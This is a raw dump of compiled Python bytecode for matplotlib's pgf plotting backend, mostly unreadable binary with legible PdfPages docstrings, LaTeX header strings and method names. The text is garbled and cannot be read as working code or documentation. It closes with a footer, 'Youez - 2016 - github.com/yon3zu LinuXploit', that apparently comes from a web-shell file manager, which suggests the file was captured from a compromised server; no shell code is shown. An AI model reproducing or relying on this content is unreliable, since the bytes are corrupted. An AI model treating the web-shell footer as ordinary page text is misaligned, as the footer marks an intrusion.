\centeringz\input{figure.pgf}z\end{document}r�r�r6�-interaction=nonstopmoder��r��
figure.pdf�rb�wbN)r�get_size_inchesrrM�itemsrrErr��
write_textr/r-r3r�_check_and_log_subprocessr~�openr��shutil�copyfileobj)
rr�r�r�rr�	info_dict�pdfinfor��tmppathr�orig�dests
             r�	print_pdfzFigureCanvasPgf.print_pdfNs����{�{�*�*�,���1�)�%���R�@�	��(�(�B�/8���/@�B�B�� �
!�	/�V��l�l�6�*�G��D�N�N�7�\�1�<�V�<�
�|�
#�/�/��	�	�4�:�W�D�O��!�f��'�!�O�'�!�)�%���%�
0�
&����o�6�J��+�+��7�9I��� $�&�
2��L�(�.�.�t�4�
/���#�#�K��6�
/�:>��"�"�4��.�
/�
/�)	/�	/�(
/�
/��
/�
/��)	/�	/�s=�B1E.�E"�&E�=E"�E.�E�E"�"E+	�'E.�.E7c���t�}t�5}tj|�}|dz}|dz}|j|fi|��||||j
j��|jd�5}tj|d�5}	tj||	�ddd�ddd�ddd�y#1swY�xYw#1swY�xYw#1swYyxYw)z?Use LaTeX to compile a pgf figure to pdf and convert it to png.r�z
figure.png)r�r�r�N)r�rrErrrr�r�rr�r�r�)
rr�r��	converterr�r��pdf_path�png_pathr�rs
          r�	print_pngzFigureCanvasPgf.print_pngos���-�/�	�
�
!�	/�V��l�l�6�*�G���-�H���-�H��D�N�N�8�.�v�.��h��d�k�k�o�o�>����t�$�
/���#�#�K��6�
/�:>��"�"�4��.�
/�
/�
	/�	/�
/�
/��
/�
/��
	/�	/�s<�A#C�8C�B?�&C�.C�?C�C�C	�C�C c�.�t|jd�Sr)rrrs r�get_rendererzFigureCanvasPgf.get_renderer|s���4�;�;��-�-rc�T��|jj�t�|�
�Sr)r�draw_without_renderingr�r�)rr�s �rr�zFigureCanvasPgf.draws������*�*�,��w�|�~�r)r#r$r%�	filetypesr�r�r�rrrr�r�r�s@rr�r�sG���+�4�3�7�I��;?�6#�p2�26�/�B/�.��rr�c��eZdZeZy)�_BackendPgfN)r#r$r%r��FigureCanvasr*rrr
r
�s��"�Lrr
c�N�eZdZdZdZddd�d�Zd�Zd�Zd	�Zd
�Z	d�Z
dd�Zd
�Zy)�PdfPagesa�
    A multi-page PDF file using the pgf backend

    Examples
    --------
    >>> import matplotlib.pyplot as plt
    >>> # Initialize:
    >>> with PdfPages('foo.pdf') as pdf:
    ...     # As many times as you like, create a figure fig and save it:
    ...     fig = plt.figure()
    ...     pdf.savefig(fig)
    ...     # When no figure is specified the current figure is saved
    ...     pdf.savefig()
    )�_output_name�
keep_empty�
_n_figures�_file�
_info_dict�	_metadataTN)rr�c��||_d|_||_|xsij�|_td|j�|_t�|_y)a<
        Create a new PdfPages object.

        Parameters
        ----------
        filename : str or path-like
            Plots using `PdfPages.savefig` will be written to a file at this
            location. Any older file with the same name is overwritten.

        keep_empty : bool, default: True
            If set to False, then empty pdf files will be deleted automatically
            when closed.

        metadata : dict, optional
            Information dictionary object (see PDF reference section 10.2.1
            'Document Information Dictionary'), e.g.:
            ``{'Creator': 'My software', 'Author': 'Me', 'Title': 'Awesome'}``.

            The standard keys are 'Title', 'Author', 'Subject', 'Keywords',
            'Creator', 'Producer', 'CreationDate', 'ModDate', and
            'Trapped'. Values have been predefined for 'Creator', 'Producer'
            and 'CreationDate'. They can be removed by setting them to `None`.

            Note that some versions of LaTeX engines may ignore the 'Producer'
            key and set it to themselves.
        rr�N)	rrr�copyrrrrr)r�filenamerr�s    rr�zPdfPages.__init__�sI��6%������$���"�.�b�.�.�0���/��t�~�~�F����Y��
rc	��djd�|jj�D��}djdd|zd||fzdt�dd	g�}|jj|j
d
��y)Nr�c3�:K�|]\}}t||����y�wrr�r�s   rroz)PdfPages._write_header.<locals>.<genexpr>�s#����H�'+�q�!��Q��"�H�r�rBr�r�r�r�z\setlength{\parindent}{0pt}z\begin{document}%r�)rMrr�r/rri�encode)r�width_inches�
height_inchesr�r�s     r�
_write_headerzPdfPages._write_header�s����(�(�H�/3���/D�/D�/F�H�H���y�y�,�2�W�<�G��]�+�
,���O�*� �	"
�	��	
�
�
����,�,�W�5�6rc��|Srr*rs r�	__enter__zPdfPages.__enter__�s���rc�$�|j�yr)�close)r�exc_type�exc_val�exc_tbs    r�__exit__zPdfPages.__exit__�s���
�
�rc��|jjd�|jdkDr|j�n0|jr$t|jd�j�|jj�y)z�
        Finalize this object, running LaTeX in a temporary directory
        and moving the final pdf file to *filename*.
        s\end{document}\nrr�N)rrir�
_run_latexrr�rr#rs rr#zPdfPages.close�s]��
	
�
�
���-�.��?�?�Q���O�O��
�_�_���"�"�D�)�/�/�1��
�
���rc��tjd}t�5}tj|d�}|j|jj��tj|dd|gt|��tj|jd�|j�ddd�y#1swYyxYw)Nr6z
pdf_pages.texr�r�r�z.pdf)r-r3rrEr�write_bytesr�getvaluerr�r~r��move�with_suffixr)rrr��
tex_sources    rr)zPdfPages._run_latex�s����\�\�/�2�
�
�
!�	K�V� ���f�o�>�J��"�"�4�:�:�#6�#6�#8�9��+�+��7�9I����&�
"�
�K�K�
�.�.�v�6��8I�8I�J�	K�	K�	K�s�BB6�6B?c�R�t|t�s^|�tj�}ntj|�}|�tdj
|���|jj}	|j}t|�|_|j�\}}|jdk(r|j||�n |jjd||fz�|j|jfddi|��|xjdz
c_||_y#|_wxYw)a5
        Save a `.Figure` to this file as a new page.

        Any other keyword arguments are passed to `~.Figure.savefig`.

        Parameters
        ----------
        figure : `.Figure` or int, default: the active figure
            The figure, or index of the figure, that is saved to the file.
        NzNo figure {}rs�\newpage\ifdefined\pdfpagewidth\pdfpagewidth\else\pagewidth\fi=%ain\ifdefined\pdfpageheight\pdfpageheight\else\pageheight\fi=%ain%%
r�r�r�)r�rr�
get_active�get_fig_managerr�r��canvasrr�r�rrrri�savefig)rrr��manager�orig_canvasrrs       rr4zPdfPages.savefig�s���&�&�)��~��.�.�*���-�-�f�5���� ��!6�!6�v�!>�?�?��^�^�*�*�F�	(� �-�-�K�+�F�3�F�M�"�2�2�4�M�E�6����!�#��"�"�5�&�1�
�
�
� � ��
 %�f�o�.��
�F�N�N�4�:�:�>�e�>�v�>��O�O�q� �O�'�F�M��K�F�M�s
�0B%D�	D&c��|jS)z=Return the current number of pages in the multipage pdf file.)rrs r�
get_pagecountzPdfPages.get_pagecounts�����rr)
r#r$r%r�	__slots__r�rr!r'r#r)r4r8r*rrrr�s@��
��I�04�d� �D
7���
�	K�+(�Zrr)Nr�r�r��ior�loggingr?r�rE�rer�r��tempfilerr��PILr�
matplotlibr-rrrrF�matplotlib.backend_basesr	r
rr�!matplotlib.backends.backend_mixedr
�matplotlib.backends.backend_pdfrr�matplotlib.pathr�matplotlib.figurer�matplotlib._pylab_helpersr�	getLoggerr#r~�caching_module_getattrrr&r0r4r/�latex_pt_to_inrfre�mpl_in_to_ptr�compiler�r!�partial�subr^r[rXrVrgrcr�r�r�r�r�r�r�rrr��FigureManagerPgf�exportr
rr*rr�<module>rOsP��
������	��	�
��'����6�6���@�-� �$�)��w����"�����5�5��5����������������(��(�
�*���n�$�����L� ��!�
��b�j�j��e�+�,�2�2��'�i�'�'��B�J�J�z�J�&�'�+�+�V�5��)�y�(�(��B�J�J�z�.�.�/�3�3�R�9��
����������8����������4�B �A�6	��	�T�T�n����Q�����{0�,�{0�|}�&�}�@%��
���#�(�#��#�U�Ur

Youez - 2016 - github.com/yon3zu
LinuXploit